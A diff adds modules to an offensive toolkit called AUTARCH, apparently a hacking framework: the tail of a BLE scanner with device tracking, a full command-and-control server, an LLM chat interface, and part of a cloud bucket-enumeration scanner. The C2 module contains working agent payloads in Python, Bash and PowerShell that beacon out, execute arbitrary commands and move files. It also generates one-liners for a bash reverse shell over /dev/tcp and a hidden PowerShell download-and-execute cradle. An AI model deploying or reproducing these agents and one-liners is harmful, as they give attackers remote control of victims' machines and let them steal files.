'Unknown'), + 'current': entry, + 'history_count': len(self.tracking_history[address]) + } + + def get_tracking_history(self, address: str) -> List[Dict]: + """Get tracking history for a device.""" + return self.tracking_history.get(address, []) + + # ── Persistence ────────────────────────────────────────────────────── + + def save_scan(self, name: str = None) -> Dict: + """Save current scan results.""" + name = name or f'scan_{int(time.time())}' + filepath = os.path.join(self.data_dir, f'{name}.json') + with open(filepath, 'w') as f: + json.dump({ + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'devices': list(self.devices.values()), + 'count': len(self.devices) + }, f, indent=2) + return {'ok': True, 'path': filepath, 'count': len(self.devices)} + + def list_scans(self) -> List[Dict]: + """List saved scans.""" + scans = [] + for f in Path(self.data_dir).glob('*.json'): + try: + with open(f) as fh: + data = json.load(fh) + scans.append({ + 'name': f.stem, + 'path': str(f), + 'timestamp': data.get('timestamp', ''), + 'count': data.get('count', 0) + }) + except Exception: + pass + return scans + + def get_devices(self) -> List[Dict]: + """Get all discovered devices.""" + return list(self.devices.values()) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_ble_scanner() -> BLEScanner: + global _instance + if _instance is None: + _instance = BLEScanner() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for BLE Scanner module.""" + scanner = get_ble_scanner() + + while True: + status = scanner.get_status() + print(f"\n{'='*60}") + print(f" BLE Scanner (bleak: {'OK' if status['available'] else 'MISSING'})") + print(f"{'='*60}") + print(f" Devices found: {status['devices_found']}") + print() + print(" 1 — Scan for Devices") + print(" 2 — View Devices") + print(" 3 — Device Detail (connect)") + print(" 4 — Vulnerability Scan") + print(" 5 — Track Device (proximity)") + print(" 6 — Save Scan") + print(" 7 — List Saved Scans") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + dur = input(" Scan duration (seconds, default 10): ").strip() + result = scanner.scan(float(dur) if dur else 10.0) + if result['ok']: + print(f" Found {result['count']} devices:") + for dev in result['devices']: + print(f" {dev['address']} {dev.get('name', '?'):<20} " + f"RSSI={dev['rssi']} {dev['device_type']} ({dev['manufacturer']})") + else: + print(f" Error: {result['error']}") + elif choice == '2': + devices = scanner.get_devices() + for dev in devices: + print(f" {dev['address']} {dev.get('name', '?'):<20} " + f"RSSI={dev['rssi']} {dev['device_type']}") + elif choice == '3': + addr = input(" Device address: ").strip() + if addr: + result = scanner.get_device_detail(addr) + if result['ok']: + print(f" Services: {result['service_count']} Characteristics: {result['char_count']}") + for svc in result['services']: + print(f" [{svc['name']}]") + for ch in svc['characteristics']: + val = ch.get('value_text', ch.get('value', '')) + print(f" {ch['description']} props={ch['properties']} val={val}") + else: + print(f" Error: {result['error']}") + elif choice == '4': + addr = input(" Device address (blank=general): ").strip() or None + result = scanner.vuln_scan(addr) + for v in result['vulnerabilities']: + print(f" [{v['severity']:<8}] {v['name']}: {v['description'][:60]}") + elif choice == '5': + addr = input(" Device address: ").strip() + if addr: + result = scanner.track_device(addr) + if result['ok']: + c = result['current'] + print(f" RSSI: {c['rssi']} Distance: ~{c['estimated_distance_m']}m") + else: + print(f" Error: {result['error']}") + elif choice == '6': + name = input(" Scan name (blank=auto): ").strip() or None + result = scanner.save_scan(name) + print(f" Saved {result['count']} devices") + elif choice == '7': + for s in scanner.list_scans(): + print(f" {s['name']} ({s['count']} devices) {s['timestamp']}") diff --git a/modules/c2_framework.py b/modules/c2_framework.py new file mode 100644 index 0000000..4a2e696 --- /dev/null +++ b/modules/c2_framework.py @@ -0,0 +1,610 @@ +"""AUTARCH C2 Framework + +Multi-session command & control framework with agent generation, +listener management, task queuing, and file transfer. +""" + +DESCRIPTION = "Command & Control framework" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import socket +import base64 +import secrets +import threading +import struct +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Agent Templates ─────────────────────────────────────────────────────────── + +PYTHON_AGENT_TEMPLATE = '''#!/usr/bin/env python3 +"""AUTARCH C2 Agent — auto-generated.""" +import os,sys,time,socket,subprocess,json,base64,platform,random +C2_HOST="{host}" +C2_PORT={port} +BEACON_INTERVAL={interval} +JITTER={jitter} +AGENT_ID="{agent_id}" + +def beacon(): + while True: + try: + s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.settimeout(30) + s.connect((C2_HOST,C2_PORT)) + # Register + info={{"id":AGENT_ID,"os":platform.system(),"hostname":socket.gethostname(), + "user":os.getenv("USER",os.getenv("USERNAME","unknown")), + "pid":os.getpid(),"arch":platform.machine()}} + s.send(json.dumps({{"type":"register","data":info}}).encode()+"\\n".encode()) + while True: + data=s.recv(65536) + if not data:break + try: + cmd=json.loads(data.decode()) + result=handle_cmd(cmd) + s.send(json.dumps(result).encode()+"\\n".encode()) + except:pass + except:pass + finally: + try:s.close() + except:pass + jitter_delay=BEACON_INTERVAL+random.uniform(-JITTER,JITTER) + time.sleep(max(1,jitter_delay)) + +def handle_cmd(cmd): + t=cmd.get("type","") + if t=="exec": + try: + r=subprocess.run(cmd["command"],shell=True,capture_output=True,text=True,timeout=60) + return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":r.stdout[-4096:],"stderr":r.stderr[-2048:],"rc":r.returncode}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="download": + try: + with open(cmd["path"],"rb") as f:d=base64.b64encode(f.read()).decode() + return{{"type":"file","task_id":cmd.get("task_id",""),"name":os.path.basename(cmd["path"]),"data":d}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="upload": + try: + with open(cmd["path"],"wb") as f:f.write(base64.b64decode(cmd["data"])) + return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":"Uploaded to "+cmd["path"]}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="sysinfo": + return{{"type":"result","task_id":cmd.get("task_id",""), + "stdout":json.dumps({{"os":platform.system(),"release":platform.release(), + "hostname":socket.gethostname(),"user":os.getenv("USER",os.getenv("USERNAME","")), + "pid":os.getpid(),"cwd":os.getcwd(),"arch":platform.machine()}})}} + elif t=="exit": + sys.exit(0) + return{{"type":"error","task_id":cmd.get("task_id",""),"error":"Unknown command"}} + +if __name__=="__main__":beacon() +''' + +BASH_AGENT_TEMPLATE = '''#!/bin/bash +# AUTARCH C2 Agent — auto-generated +C2_HOST="{host}" +C2_PORT={port} +INTERVAL={interval} +AGENT_ID="{agent_id}" +while true; do + exec 3<>/dev/tcp/$C2_HOST/$C2_PORT 2>/dev/null + if [ $? -eq 0 ]; then + echo '{{"type":"register","data":{{"id":"'$AGENT_ID'","os":"'$(uname -s)'","hostname":"'$(hostname)'","user":"'$(whoami)'","pid":'$$'}}}}' >&3 + while read -r line <&3; do + CMD=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('command',''))" 2>/dev/null) + TID=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('task_id',''))" 2>/dev/null) + if [ -n "$CMD" ]; then + OUTPUT=$(eval "$CMD" 2>&1 | head -c 4096) + echo '{{"type":"result","task_id":"'$TID'","stdout":"'$(echo "$OUTPUT" | base64 -w0)'"}}' >&3 + fi + done + exec 3>&- + fi + sleep $INTERVAL +done +''' + +POWERSHELL_AGENT_TEMPLATE = '''# AUTARCH C2 Agent — auto-generated +$C2Host="{host}" +$C2Port={port} +$Interval={interval} +$AgentId="{agent_id}" +while($true){{ + try{{ + $c=New-Object System.Net.Sockets.TcpClient($C2Host,$C2Port) + $s=$c.GetStream() + $w=New-Object System.IO.StreamWriter($s) + $r=New-Object System.IO.StreamReader($s) + $info=@{{type="register";data=@{{id=$AgentId;os="Windows";hostname=$env:COMPUTERNAME;user=$env:USERNAME;pid=$PID}}}}|ConvertTo-Json -Compress + $w.WriteLine($info);$w.Flush() + while($c.Connected){{ + $line=$r.ReadLine() + if($line){{ + $cmd=$line|ConvertFrom-Json + if($cmd.type -eq "exec"){{ + try{{$out=Invoke-Expression $cmd.command 2>&1|Out-String + $resp=@{{type="result";task_id=$cmd.task_id;stdout=$out.Substring(0,[Math]::Min($out.Length,4096))}}|ConvertTo-Json -Compress + }}catch{{$resp=@{{type="error";task_id=$cmd.task_id;error=$_.Exception.Message}}|ConvertTo-Json -Compress}} + $w.WriteLine($resp);$w.Flush() + }} + }} + }} + }}catch{{}} + Start-Sleep -Seconds $Interval +}} +''' + + +# ── C2 Server ───────────────────────────────────────────────────────────────── + +@dataclass +class Agent: + id: str + os: str = '' + hostname: str = '' + user: str = '' + pid: int = 0 + arch: str = '' + remote_addr: str = '' + first_seen: str = '' + last_seen: str = '' + status: str = 'active' # active, stale, dead + + +@dataclass +class Task: + id: str + agent_id: str + type: str + data: dict = field(default_factory=dict) + status: str = 'pending' # pending, sent, completed, failed + result: Optional[dict] = None + created_at: str = '' + completed_at: str = '' + + +class C2Server: + """Multi-session C2 server with agent management.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'c2') + os.makedirs(self._data_dir, exist_ok=True) + self._agents: Dict[str, Agent] = {} + self._tasks: Dict[str, Task] = {} + self._agent_tasks: Dict[str, list] = {} # agent_id -> [task_ids] + self._agent_sockets: Dict[str, socket.socket] = {} + self._listeners: Dict[str, dict] = {} + self._listener_threads: Dict[str, threading.Thread] = {} + self._stop_events: Dict[str, threading.Event] = {} + + # ── Listener Management ─────────────────────────────────────────────── + + def start_listener(self, name: str, host: str = '0.0.0.0', + port: int = 4444, protocol: str = 'tcp') -> dict: + """Start a C2 listener.""" + if name in self._listeners: + return {'ok': False, 'error': f'Listener "{name}" already exists'} + + stop_event = threading.Event() + self._stop_events[name] = stop_event + + listener_info = { + 'name': name, 'host': host, 'port': port, 'protocol': protocol, + 'started_at': datetime.now(timezone.utc).isoformat(), + 'connections': 0, + } + self._listeners[name] = listener_info + + def accept_loop(): + try: + srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + srv.settimeout(2.0) + srv.bind((host, port)) + srv.listen(20) + listener_info['socket'] = srv + + while not stop_event.is_set(): + try: + conn, addr = srv.accept() + listener_info['connections'] += 1 + threading.Thread(target=self._handle_agent, + args=(conn, addr, name), + daemon=True).start() + except socket.timeout: + continue + except Exception: + break + except Exception as e: + listener_info['error'] = str(e) + finally: + try: + srv.close() + except Exception: + pass + + t = threading.Thread(target=accept_loop, daemon=True) + t.start() + self._listener_threads[name] = t + + return {'ok': True, 'message': f'Listener "{name}" started on {host}:{port}'} + + def stop_listener(self, name: str) -> dict: + """Stop a C2 listener.""" + if name not in self._listeners: + return {'ok': False, 'error': 'Listener not found'} + stop_event = self._stop_events.pop(name, None) + if stop_event: + stop_event.set() + listener = self._listeners.pop(name, {}) + sock = listener.get('socket') + if sock: + try: + sock.close() + except Exception: + pass + self._listener_threads.pop(name, None) + return {'ok': True, 'message': f'Listener "{name}" stopped'} + + def list_listeners(self) -> List[dict]: + return [{k: v for k, v in l.items() if k != 'socket'} + for l in self._listeners.values()] + + def _handle_agent(self, conn: socket.socket, addr: tuple, listener: str): + """Handle incoming agent connection.""" + conn.settimeout(300) # 5 min timeout + try: + data = conn.recv(65536) + if not data: + return + msg = json.loads(data.decode().strip()) + if msg.get('type') != 'register': + conn.close() + return + + info = msg.get('data', {}) + agent_id = info.get('id', secrets.token_hex(4)) + + agent = Agent( + id=agent_id, + os=info.get('os', ''), + hostname=info.get('hostname', ''), + user=info.get('user', ''), + pid=info.get('pid', 0), + arch=info.get('arch', ''), + remote_addr=f'{addr[0]}:{addr[1]}', + first_seen=datetime.now(timezone.utc).isoformat(), + last_seen=datetime.now(timezone.utc).isoformat(), + ) + + self._agents[agent_id] = agent + self._agent_sockets[agent_id] = conn + if agent_id not in self._agent_tasks: + self._agent_tasks[agent_id] = [] + + # Process pending tasks for this agent + while True: + pending = [t for t in self._get_pending_tasks(agent_id)] + if not pending: + time.sleep(1) + # Check if still connected + try: + conn.send(b'') + except Exception: + break + agent.last_seen = datetime.now(timezone.utc).isoformat() + continue + + for task in pending: + try: + cmd = {'type': task.type, 'task_id': task.id, **task.data} + conn.send(json.dumps(cmd).encode() + b'\n') + task.status = 'sent' + + # Wait for result + conn.settimeout(60) + result_data = conn.recv(65536) + if result_data: + result = json.loads(result_data.decode().strip()) + task.result = result + task.status = 'completed' + task.completed_at = datetime.now(timezone.utc).isoformat() + else: + task.status = 'failed' + except Exception as e: + task.status = 'failed' + task.result = {'error': str(e)} + + agent.last_seen = datetime.now(timezone.utc).isoformat() + + except Exception: + pass + finally: + conn.close() + # Mark agent as stale if no longer connected + for aid, sock in list(self._agent_sockets.items()): + if sock is conn: + self._agent_sockets.pop(aid, None) + if aid in self._agents: + self._agents[aid].status = 'stale' + + def _get_pending_tasks(self, agent_id: str) -> List[Task]: + task_ids = self._agent_tasks.get(agent_id, []) + return [self._tasks[tid] for tid in task_ids + if tid in self._tasks and self._tasks[tid].status == 'pending'] + + # ── Agent Management ────────────────────────────────────────────────── + + def list_agents(self) -> List[dict]: + agents = [] + for a in self._agents.values(): + # Check if still connected + connected = a.id in self._agent_sockets + agents.append({ + 'id': a.id, 'os': a.os, 'hostname': a.hostname, + 'user': a.user, 'pid': a.pid, 'arch': a.arch, + 'remote_addr': a.remote_addr, + 'first_seen': a.first_seen, 'last_seen': a.last_seen, + 'status': 'active' if connected else a.status, + }) + return agents + + def remove_agent(self, agent_id: str) -> dict: + if agent_id in self._agent_sockets: + try: + self._agent_sockets[agent_id].close() + except Exception: + pass + del self._agent_sockets[agent_id] + self._agents.pop(agent_id, None) + self._agent_tasks.pop(agent_id, None) + return {'ok': True} + + # ── Task Queue ──────────────────────────────────────────────────────── + + def queue_task(self, agent_id: str, task_type: str, + data: dict = None) -> dict: + """Queue a task for an agent.""" + if agent_id not in self._agents: + return {'ok': False, 'error': 'Agent not found'} + + task_id = secrets.token_hex(4) + task = Task( + id=task_id, + agent_id=agent_id, + type=task_type, + data=data or {}, + created_at=datetime.now(timezone.utc).isoformat(), + ) + self._tasks[task_id] = task + if agent_id not in self._agent_tasks: + self._agent_tasks[agent_id] = [] + self._agent_tasks[agent_id].append(task_id) + + return {'ok': True, 'task_id': task_id} + + def execute_command(self, agent_id: str, command: str) -> dict: + """Shortcut to queue an exec task.""" + return self.queue_task(agent_id, 'exec', {'command': command}) + + def download_file(self, agent_id: str, remote_path: str) -> dict: + return self.queue_task(agent_id, 'download', {'path': remote_path}) + + def upload_file(self, agent_id: str, remote_path: str, + file_data: bytes) -> dict: + encoded = base64.b64encode(file_data).decode() + return self.queue_task(agent_id, 'upload', + {'path': remote_path, 'data': encoded}) + + def get_task_result(self, task_id: str) -> dict: + task = self._tasks.get(task_id) + if not task: + return {'ok': False, 'error': 'Task not found'} + return { + 'ok': True, + 'task_id': task.id, + 'status': task.status, + 'result': task.result, + 'created_at': task.created_at, + 'completed_at': task.completed_at, + } + + def list_tasks(self, agent_id: str = '') -> List[dict]: + tasks = [] + for t in self._tasks.values(): + if agent_id and t.agent_id != agent_id: + continue + tasks.append({ + 'id': t.id, 'agent_id': t.agent_id, 'type': t.type, + 'status': t.status, 'created_at': t.created_at, + 'completed_at': t.completed_at, + 'has_result': t.result is not None, + }) + return tasks + + # ── Agent Generation ────────────────────────────────────────────────── + + def generate_agent(self, host: str, port: int = 4444, + agent_type: str = 'python', + interval: int = 5, jitter: int = 2) -> dict: + """Generate a C2 agent payload.""" + agent_id = secrets.token_hex(4) + + if agent_type == 'python': + code = PYTHON_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + jitter=jitter, agent_id=agent_id) + elif agent_type == 'bash': + code = BASH_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + agent_id=agent_id) + elif agent_type == 'powershell': + code = POWERSHELL_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + agent_id=agent_id) + else: + return {'ok': False, 'error': f'Unknown agent type: {agent_type}'} + + # Save to file + ext = {'python': 'py', 'bash': 'sh', 'powershell': 'ps1'}[agent_type] + filename = f'agent_{agent_id}.{ext}' + filepath = os.path.join(self._data_dir, filename) + with open(filepath, 'w') as f: + f.write(code) + + return { + 'ok': True, + 'agent_id': agent_id, + 'filename': filename, + 'filepath': filepath, + 'code': code, + 'type': agent_type, + } + + # ── One-liners ──────────────────────────────────────────────────────── + + def get_oneliner(self, host: str, port: int = 4444, + agent_type: str = 'python') -> dict: + """Generate a one-liner to deploy the agent.""" + if agent_type == 'python': + liner = (f"python3 -c \"import urllib.request,os,tempfile;" + f"f=tempfile.NamedTemporaryFile(suffix='.py',delete=False);" + f"f.write(urllib.request.urlopen('http://{host}:{port+1}/agent.py').read());" + f"f.close();os.system('python3 '+f.name+' &')\"") + elif agent_type == 'bash': + liner = f"bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1 &'" + elif agent_type == 'powershell': + liner = (f"powershell -nop -w hidden -c " + f"\"IEX(New-Object Net.WebClient).DownloadString" + f"('http://{host}:{port+1}/agent.ps1')\"") + else: + return {'ok': False, 'error': 'Unknown type'} + + return {'ok': True, 'oneliner': liner, 'type': agent_type} + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_c2_server() -> C2Server: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = C2Server() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for C2 Framework.""" + svc = get_c2_server() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ C2 FRAMEWORK ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Start Listener ║") + print("║ 2 — Stop Listener ║") + print("║ 3 — List Agents ║") + print("║ 4 — Interact with Agent ║") + print("║ 5 — Generate Agent Payload ║") + print("║ 6 — Get One-Liner ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + name = input(" Listener name: ").strip() or 'default' + port = int(input(" Port (4444): ").strip() or '4444') + r = svc.start_listener(name, port=port) + print(f" {r.get('message', r.get('error', ''))}") + elif choice == '2': + listeners = svc.list_listeners() + if not listeners: + print(" No listeners.") + continue + for l in listeners: + print(f" {l['name']} — {l['host']}:{l['port']} ({l['connections']} connections)") + name = input(" Stop which: ").strip() + if name: + r = svc.stop_listener(name) + print(f" {r.get('message', r.get('error', ''))}") + elif choice == '3': + agents = svc.list_agents() + if not agents: + print(" No agents.") + continue + for a in agents: + print(f" [{a['status']:6s}] {a['id']} — {a['user']}@{a['hostname']} " + f"({a['os']}) from {a['remote_addr']}") + elif choice == '4': + aid = input(" Agent ID: ").strip() + if not aid: + continue + print(f" Interacting with {aid} (type 'exit' to return)") + while True: + cmd = input(f" [{aid}]> ").strip() + if cmd in ('exit', 'quit', ''): + break + r = svc.execute_command(aid, cmd) + if not r.get('ok'): + print(f" Error: {r.get('error')}") + continue + # Poll for result + for _ in range(30): + time.sleep(1) + result = svc.get_task_result(r['task_id']) + if result.get('status') in ('completed', 'failed'): + if result.get('result'): + out = result['result'].get('stdout', '') + err = result['result'].get('stderr', '') + if out: + print(out) + if err: + print(f" [stderr] {err}") + break + else: + print(" [timeout] No response within 30s") + elif choice == '5': + host = input(" Callback host: ").strip() + port = int(input(" Callback port (4444): ").strip() or '4444') + atype = input(" Type (python/bash/powershell): ").strip() or 'python' + r = svc.generate_agent(host, port, atype) + if r.get('ok'): + print(f" Agent saved to: {r['filepath']}") + else: + print(f" Error: {r.get('error')}") + elif choice == '6': + host = input(" Host: ").strip() + port = int(input(" Port (4444): ").strip() or '4444') + atype = input(" Type (python/bash/powershell): ").strip() or 'python' + r = svc.get_oneliner(host, port, atype) + if r.get('ok'): + print(f"\n {r['oneliner']}\n") diff --git a/modules/chat.py b/modules/chat.py new file mode 100644 index 0000000..1745d45 --- /dev/null +++ b/modules/chat.py @@ -0,0 +1,270 @@ +""" +AUTARCH Chat Module +Interactive chat interface for the LLM + +This module provides a command-line chat interface to interact with the loaded model. +""" + +import sys +from pathlib import Path + +# Module metadata +DESCRIPTION = "Interactive chat with the LLM" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "core" + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.llm import get_llm, LLMError +from core.banner import Colors, clear_screen, display_banner + + +class ChatInterface: + """Interactive chat interface for AUTARCH LLM.""" + + COMMANDS = { + '/help': 'Show available commands', + '/clear': 'Clear conversation history', + '/history': 'Show conversation history', + '/info': 'Show model information', + '/system': 'Set system prompt (e.g., /system You are a helpful assistant)', + '/temp': 'Set temperature (e.g., /temp 0.8)', + '/tokens': 'Set max tokens (e.g., /tokens 1024)', + '/stream': 'Toggle streaming mode', + '/exit': 'Exit chat', + } + + def __init__(self): + self.llm = get_llm() + self.system_prompt = "You are AUTARCH, an AI assistant created by darkHal and Setec Security Labs. You are helpful, knowledgeable, and direct in your responses." + self.streaming = True + self.temp_override = None + self.tokens_override = None + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def print_help(self): + """Display available commands.""" + print(f"\n{Colors.BOLD}{Colors.WHITE}Available Commands:{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + for cmd, desc in self.COMMANDS.items(): + print(f" {Colors.CYAN}{cmd:12}{Colors.RESET} {desc}") + print() + + def print_history(self): + """Display conversation history.""" + history = self.llm.get_history() + if not history: + self.print_status("No conversation history", "info") + return + + print(f"\n{Colors.BOLD}{Colors.WHITE}Conversation History:{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + for msg in history: + role = msg['role'] + content = msg['content'] + + if role == 'system': + print(f"\n{Colors.MAGENTA}[System]{Colors.RESET}") + print(f" {Colors.DIM}{content[:100]}...{Colors.RESET}" if len(content) > 100 else f" {Colors.DIM}{content}{Colors.RESET}") + elif role == 'user': + print(f"\n{Colors.GREEN}[You]{Colors.RESET}") + print(f" {content}") + elif role == 'assistant': + print(f"\n{Colors.CYAN}[AUTARCH]{Colors.RESET}") + # Truncate long responses in history view + if len(content) > 200: + print(f" {content[:200]}...") + else: + print(f" {content}") + print() + + def print_model_info(self): + """Display model information.""" + info = self.llm.get_model_info() + + print(f"\n{Colors.BOLD}{Colors.WHITE}Model Information:{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + if info['loaded']: + print(f" {Colors.CYAN}Model:{Colors.RESET} {info['model_name']}") + print(f" {Colors.CYAN}Context Size:{Colors.RESET} {info['n_ctx']}") + print(f" {Colors.CYAN}Vocabulary:{Colors.RESET} {info['n_vocab']}") + print(f" {Colors.CYAN}Streaming:{Colors.RESET} {'Enabled' if self.streaming else 'Disabled'}") + + if self.temp_override: + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {self.temp_override} (override)") + if self.tokens_override: + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {self.tokens_override} (override)") + else: + print(f" {Colors.YELLOW}No model loaded{Colors.RESET}") + print() + + def handle_command(self, command: str) -> bool: + """Handle a chat command. + + Args: + command: The command string. + + Returns: + True if should continue chat, False if should exit. + """ + parts = command.split(maxsplit=1) + cmd = parts[0].lower() + args = parts[1] if len(parts) > 1 else "" + + if cmd == '/help': + self.print_help() + + elif cmd == '/clear': + self.llm.clear_history() + self.print_status("Conversation history cleared", "success") + + elif cmd == '/history': + self.print_history() + + elif cmd == '/info': + self.print_model_info() + + elif cmd == '/system': + if args: + self.system_prompt = args + self.llm.clear_history() # Clear history when changing system prompt + self.print_status(f"System prompt set: {args[:50]}...", "success") + else: + print(f" {Colors.CYAN}Current:{Colors.RESET} {self.system_prompt}") + + elif cmd == '/temp': + if args: + try: + temp = float(args) + if 0.0 <= temp <= 2.0: + self.temp_override = temp + self.print_status(f"Temperature set to {temp}", "success") + else: + self.print_status("Temperature must be between 0.0 and 2.0", "error") + except ValueError: + self.print_status("Invalid temperature value", "error") + else: + self.print_status(f"Current temperature: {self.temp_override or 'default'}", "info") + + elif cmd == '/tokens': + if args: + try: + tokens = int(args) + if tokens > 0: + self.tokens_override = tokens + self.print_status(f"Max tokens set to {tokens}", "success") + else: + self.print_status("Max tokens must be positive", "error") + except ValueError: + self.print_status("Invalid token value", "error") + else: + self.print_status(f"Current max tokens: {self.tokens_override or 'default'}", "info") + + elif cmd == '/stream': + self.streaming = not self.streaming + self.print_status(f"Streaming {'enabled' if self.streaming else 'disabled'}", "success") + + elif cmd in ['/exit', '/quit', '/q']: + return False + + else: + self.print_status(f"Unknown command: {cmd}. Type /help for commands.", "warning") + + return True + + def chat_loop(self): + """Main chat loop.""" + print(f"\n{Colors.GREEN}[+] Chat started. Type /help for commands, /exit to quit.{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + while True: + try: + # Get user input + user_input = input(f"{Colors.GREEN}You:{Colors.RESET} ").strip() + + if not user_input: + continue + + # Handle commands + if user_input.startswith('/'): + if not self.handle_command(user_input): + break + continue + + # Generate response + print(f"\n{Colors.CYAN}AUTARCH:{Colors.RESET} ", end="", flush=True) + + kwargs = {} + if self.temp_override is not None: + kwargs['temperature'] = self.temp_override + if self.tokens_override is not None: + kwargs['max_tokens'] = self.tokens_override + + try: + if self.streaming: + # Streaming response + for token in self.llm.chat( + user_input, + system_prompt=self.system_prompt, + stream=True, + **kwargs + ): + print(token, end="", flush=True) + print("\n") + else: + # Non-streaming response + response = self.llm.chat( + user_input, + system_prompt=self.system_prompt, + stream=False, + **kwargs + ) + print(f"{response}\n") + + except LLMError as e: + print() + self.print_status(f"Generation error: {e}", "error") + + except (EOFError, KeyboardInterrupt): + print(f"\n\n{Colors.CYAN}Chat ended.{Colors.RESET}") + break + + def run(self): + """Run the chat interface.""" + clear_screen() + display_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH Chat Interface{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Check if model is loaded + if not self.llm.is_loaded: + self.print_status("Loading model...", "info") + try: + self.llm.load_model(verbose=True) + except LLMError as e: + self.print_status(f"Failed to load model: {e}", "error") + self.print_status("Please run setup to configure a model.", "warning") + return + + self.print_model_info() + self.chat_loop() + + +def run(): + """Module entry point.""" + chat = ChatInterface() + chat.run() + + +if __name__ == "__main__": + run() diff --git a/modules/cloud_scan.py b/modules/cloud_scan.py new file mode 100644 index 0000000..94398d1 --- /dev/null +++ b/modules/cloud_scan.py @@ -0,0 +1,448 @@ +"""AUTARCH Cloud Security Scanner + +AWS/Azure/GCP bucket enumeration, IAM misconfiguration detection, exposed +service scanning, and cloud resource discovery. +""" + +DESCRIPTION = "Cloud infrastructure security scanning" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import threading +from pathlib import Path +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +# ── Cloud Provider Endpoints ───────────────────────────────────────────────── + +AWS_REGIONS = [ + 'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', + 'eu-west-1', 'eu-west-2', 'eu-central-1', + 'ap-southeast-1', 'ap-southeast-2', 'ap-northeast-1', +] + +COMMON_BUCKET_NAMES = [ + 'backup', 'backups', 'data', 'dev', 'staging', 'prod', 'production', + 'logs', 'assets', 'media', 'uploads', 'images', 'static', 'public', + 'private', 'internal', 'config', 'configs', 'db', 'database', + 'archive', 'old', 'temp', 'tmp', 'test', 'debug', 'admin', + 'www', 'web', 'api', 'app', 'mobile', 'docs', 'documents', + 'reports', 'export', 'import', 'share', 'shared', +] + +METADATA_ENDPOINTS = { + 'aws': 'http://169.254.169.254/latest/meta-data/', + 'gcp': 'http://metadata.google.internal/computeMetadata/v1/', + 'azure': 'http://169.254.169.254/metadata/instance?api-version=2021-02-01', + 'digitalocean': 'http://169.254.169.254/metadata/v1/', +} + + +# ── Cloud Scanner ──────────────────────────────────────────────────────────── + +class CloudScanner: + """Cloud infrastructure security scanner.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'cloud_scan') + os.makedirs(self.data_dir, exist_ok=True) + self.results: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + # ── S3 Bucket Enumeration ──────────────────────────────────────────── + + def enum_s3_buckets(self, keyword: str, prefixes: List[str] = None, + suffixes: List[str] = None) -> str: + """Enumerate S3 buckets with naming permutations. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f's3enum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 's3_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + prefixes_list = prefixes or ['', 'dev-', 'staging-', 'prod-', 'test-', 'backup-'] + suffixes_list = suffixes or ['', '-backup', '-data', '-assets', '-logs', '-dev', + '-staging', '-prod', '-public', '-private'] + + bucket_names = set() + for pfx in prefixes_list: + for sfx in suffixes_list: + bucket_names.add(f'{pfx}{keyword}{sfx}') + # Add common patterns + for common in COMMON_BUCKET_NAMES: + 